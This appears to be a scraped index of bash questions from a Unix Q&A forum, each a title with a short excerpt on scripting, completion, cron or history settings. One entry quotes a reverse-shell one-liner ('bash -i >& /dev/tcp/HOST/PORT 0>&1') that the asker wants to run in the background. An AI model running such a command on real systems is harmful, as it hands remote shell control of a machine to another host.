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Pipes & redirection binding precedence with disjuncts, conjuncts etc?

I know of the relative binding precedence of operators ‘;’, ‘&’, ‘&&’, or ‘||’ http://www.gnu.org/software/bash/manual/bashref.html#Lists but when pipes come into the picture along with ...
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An alias for a command to kill stopped jobs

I wanted to add an alias to my .bashrc so that I could kill all stopped jobs with a command like kill_stopped. I am aware that kill `jobs -p` can be used to accomplish this but I'd rather have an ...
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How to pass arguments to bash shell script when executing that command with at?

I have a shell script that accepts an argument and uses that in the script. So to run the script I type /path/to/script argument The problem is when trying to setup that file to run using the at ...
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Is checking for exit status other than 0 after a `command || return` unreachable?

I am a shell script beginner and found the following patch of code: function some_fun() { #[...] [ -d ${MKAPP_BUILDDIR}/tmp ] || mkdir ${MKAPP_BUILDDIR}/tmp || return 1 if [ $? -ne 0 ]; ...
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How can I write a script which updates a text file?

I have made this script #PACKAGES.TXT array2=( `find . -type f -iname *t?z|awk '{print $1}'|cut -d / -f 3` ) funzioneZ() { echo -e " PACKAGE NAME: $i " } array3=( `find . -type f -iname *t?z|awk ...
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How can I use netcat (nc) for chat client server model?

enter code hereI am trying to write a daemon using bash. I will enter my partners IP address and the connection will start using nc partner_ip 2015, likewise on the server I will start the connection ...
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Bash inside Vim not working properly

In MacVim I'm using Conque to run bash commands inside Vim. I have a problem with the text navigation while using Conque. If I'm at the end of a line of text and press down Alt← I skip a word to the ...
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How Long do the Contents of the .bash_history File Last?

How can I modify the contents of my bash_history file? What values or variables control how long the history lasts? Are there any other things I can change to provide finer control of my BASH ...
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How to enable tab completion of wildcards in bash?

How can I enable tab completion in bash for a statement such as vim db/migrate/*crea? Essentially I am looking for tab completion to match the regular expression and present the options. How would ...
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Howto adapt this bash construct to a sh valid construct

On converting some bash scripts to a platform where only /bin/sh is available i'm stumble about this bash construct: #!/bin/sh RSTPD=/sbin/rstpd RSTPCTL=/sbin/rstpctl RSTP=0 ...
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Perl/awk/bash: multiply and sum values putting values inline instead original text [on hold]

I have a text like this: ;--------------------------------------- JOURNEY_ARRAY_01 .BYTE <JOURNEY_00 .BYTE <JOURNEY_01 ;--------------------------------------- JOURNEY_ARRAY_03 ...
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The command ` ls -ltu ` fails to list folders/files based on last accessed time

First on your linux desktop create 2 folders. a b Now run this in the terminal ls -ltu the result is drwxr-xr-x 2 root root 4096 Aug 30 20:33 b drwxr-xr-x 2 root root 4096 Aug 30 20:33 a ...
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confusing behavior of emacs-style keybindings in bash

Bash offers many useful emacs-style keybindings for simple commandline editing. For example, Ctrl+w deletes ("kills") word left from the cursor. Another keybinding, Alt+d is supposed to be a "mirror" ...
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Sometimes command with many pipes makes empty output [on hold]

I am wondering what causes this problem and finding the solution (except for temporary file). When I execute certain code CHIMP+testis_uniq_expression.out file with like this, it makes empty output. ...
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Can I use pmap to find out Memory utilization?

I want to measure memory utilization of my Apache Server. Can I use the pmap command and pass all the process IDs of httpd and take that as total utilization? pmap PID1 PID2 .... It seems that pmap ...
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What are the bash shell length limitations for here-docs?

What are the length limitations for using here-docs as part of bash command lines? I am finding that short here-docs work fine, but when they get longer there is some point or structure after which ...
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Disable tab completion in Bash for some directory that contains a large number of files?

I'm working with large number of files, which I keep in a directory. Every time I go in to that directory and accidentally press Tab twice, it takes too long (may be over a minutes) to show files that ...
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Regular expression using \\ vs using \

Why does grep e\\.g\\. <<< "this is an e.g. wow" and grep e\.g\. <<< "this is an e.g. wow" do the same thing? If I add a third slash, it also has the same result. BUT, once I ...
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several virtual profiles for the same user

Many times there are several "identities" which one user uses: for work, open-source, academia etc., all require different ssh keys, editor configurations, git configs etc. I was wondering if there ...
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How to sum match numbers

I'm new at scripting, and need some help. Will appreciate your answers. I got this assignment, which is to find the sum of all five-digit numbers (in the range 10000 - 99999) containing exactly two ...
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How to debug and fix slow autocomplete in bash?

After a recent update (Ubuntu 12.04 LTS), TAB complete on the command line is slow. After entering a partial command (e.g evi [TAB]) or partial filename (e.g. evince somedocu[TAB]) the shell, ...
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When was the shellshock (CVE-2014-6271/7169) bug introduced, and what is the patch that fully fixes it?

Some context about the bug: CVE-2014-6271 Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child ...
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Why does this Shell script fail as cron job [on hold]

I have the following in a shell script, when I run this script it works but when I put this as a cron job it does not work(nothing happens!). How come? script #!/bin/bash ...
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How can a Bash script tell how it was run?

I have a Bash script I was trying to make to help me run a rather complex command with small changes that it would ask me about through echo and read. I have found solutions to force it to run a ...
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How to align a table of display nicely

I am trying to create a script that act as a ps command with it's own properties that I want to display. Say this is how processes would look like in ps command: sas 24431 1 0 Oct10 ? ...
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Is there a way to flatten a .pdf image from the command line?

In GIMP, I can import a .pdf, and use the GUI to flatten it (if it was made with many layers) by selecting "Flatten Image" in the "Image" dropdown menu. I can then export the .pdf with a new ...
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Practical usage of pushd, popd, man, less, and cat in bash [on hold]

So i am learning more advanced usages of bash/cmdline due to work teaching me some programming and im trying to wrap my head around some of the following bash cmd's and their purposes. I have been ...
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Append to PATH-like variable without creating leading colon if unset

I need to append a directory to PKG_CONFIG_PATH. Normally, I would use the standard export PKG_CONFIG_PATH=${PKG_CONFIG_PATH}:$(pyenv prefix)/lib/pkgconfig but PKG_CONFIG_PATH has not been ...
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How to find out what version of RHEL I'm using?

I work in an environment where we are slowly transitioning machines from Red Hat Enterprise Linux 5 to RHEL 6. I need some of my scripts to do something subtly different on RHEL6 machines to what is ...
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Command not found problem in Linux-Ubuntu terminal

My friend is having problem in trying to call make to compile an application which both me and a second friend have previously successfully compiled. The file uses a "linux-devkit" pack that possess ...
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reading file using for, while - behavior

Consider the below scenario 2 vms - 192.168.229.131, 192.168.229.132 Both the vms has it's ip as 192.168.229.151 & 192.168.229.152 in it's /etc/hosts file Say there are around 50 vms like i ...
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Is it possible to run two commands at the same time in a shell script?

I know that on the command line I can use & to run a command in the background. But I'm wondering if I can do it in a script. I have a script like this: date_stamp=$(date +"%Y-%m-%d" ...
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Environment variable not expanded inside the command line argument

I have a file user-pid.out2 which has "usernumber" and "process id" as two columns. based on usernumber I want to find corresponding process id. the first two lines below does not show the output ...
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How to print gmail inbox messages

I want to print inbox messages one by one (like cat someFile) so that I can parse the message contents. something like printGmail InboxMesg1 | grep some | sed some Using curl I can access the ...
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How to perform command substitution before brace expansion

I would like to perform command substitution before brace expansion, but couldn't: $ ls {$(seq -s , 13 20)}.pdf ls: cannot access {13,14,15,16,17,18,19,20}.pdf: No such file or directory How can I? ...
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Random character generation - with random output!

This is what crunch can generate: [user@localhost ~] crunch 3 3 ab Crunch will now generate the following amount of data: 32 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number ...
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How to transpose command line arguments with emacs keybindings?

Using Bash, with emacs keybindings set, the transpose-words keybinding (M-t) doesn't transpose arguments, but "words" (by its own definition of words). So if I have this: vimdiff ...
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bash: /etc/bash.bashrc: Permission denied whenever I open a terminal

On Ubuntu 13.10, when I open a new terminal, I sometimes get the following output on the terminal: bash: /etc/bash.bashrc: Permission denied However, the permissions should be fine: >ls -l ...
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(SOLVED) How I get the current working directory with inverted slash?

I'm trying to write a script to import a font in wine, because I put the font in wine's c:\Windows\Fonts, but wine doesn't read it if I don't import from the reg file: "Font ...
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“su” with error “X11 connection rejected because of wrong authentication.”

As root, I'm connecting to a remote host to execute a command. Only "standarduser" has the appropriate id-file and correct .ssh/config, so I'm switching the user first: su standarduser -c 'ssh -x ...
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Why is the order of expansions as it is in bash? [on hold]

From Bash Reference Manual: The order of expansions is: brace expansion, tilde expansion, parameter, variable, and arithmetic expansion and command substitution (done in a left-to-right ...
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Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
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shortest way to replace characters in a variable

There are many ways to replace characters in a variable. The shortest way I found out is tr so far: OUTPUT=a\'b\"c\`d_123and_a_lot_more OUTPUT=$(echo "$OUTPUT"|tr -d "'\`\"") echo $OUTPUT Is ...
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How can I maintain line breaks in body text with mailx when sending attachments?

I have a script that emails the text of a log file as the body of the email. That log file has some blank lines between lines of text for readability. When I use the following line in the script, ...
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Send multiple files to bash script via Dolphin

I would like to process photos by sending them from Dolphin to bash script with "Open with" feature. But it runs individual instance of the program for each file instead of sending all files to one ...
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Brackets in if condition: why am I getting syntax errors without whitespace?

I am using the below script to move two days back when script runs at starting two days of the year and also check first and second days of every month and move two days back. if [$month="01"] ...
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bash question about if and then [duplicate]

I'm writing this in my script. It has other parts but I'm getting stuck on this part only. if [[$# == $year $month $day ]] ; then cal $day $month $year fi When I run this it give me this msg: ...
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Why are bash tests so picky about whitespace?

As a primarily Java programer, I find the bash if-then construct quite confusing, especially regarding whitespace. Can anyone explain, why the first one works but not the second and third? #works if ...
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Bash error: “[y command not found” [duplicate]

I am trying to get this script to function correctly but I get ./passmark.sh line 7: [y command not found. Here is my script #!/bin/bash # A simple script to ask a user for a pass mark and then ...
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count matches and mismatches group by

Please help with a shell script of the following. I need count number of consistent variables in each lane (col1) across samples (col2). For example, since all the values (col4) of lane1 variable 1 ...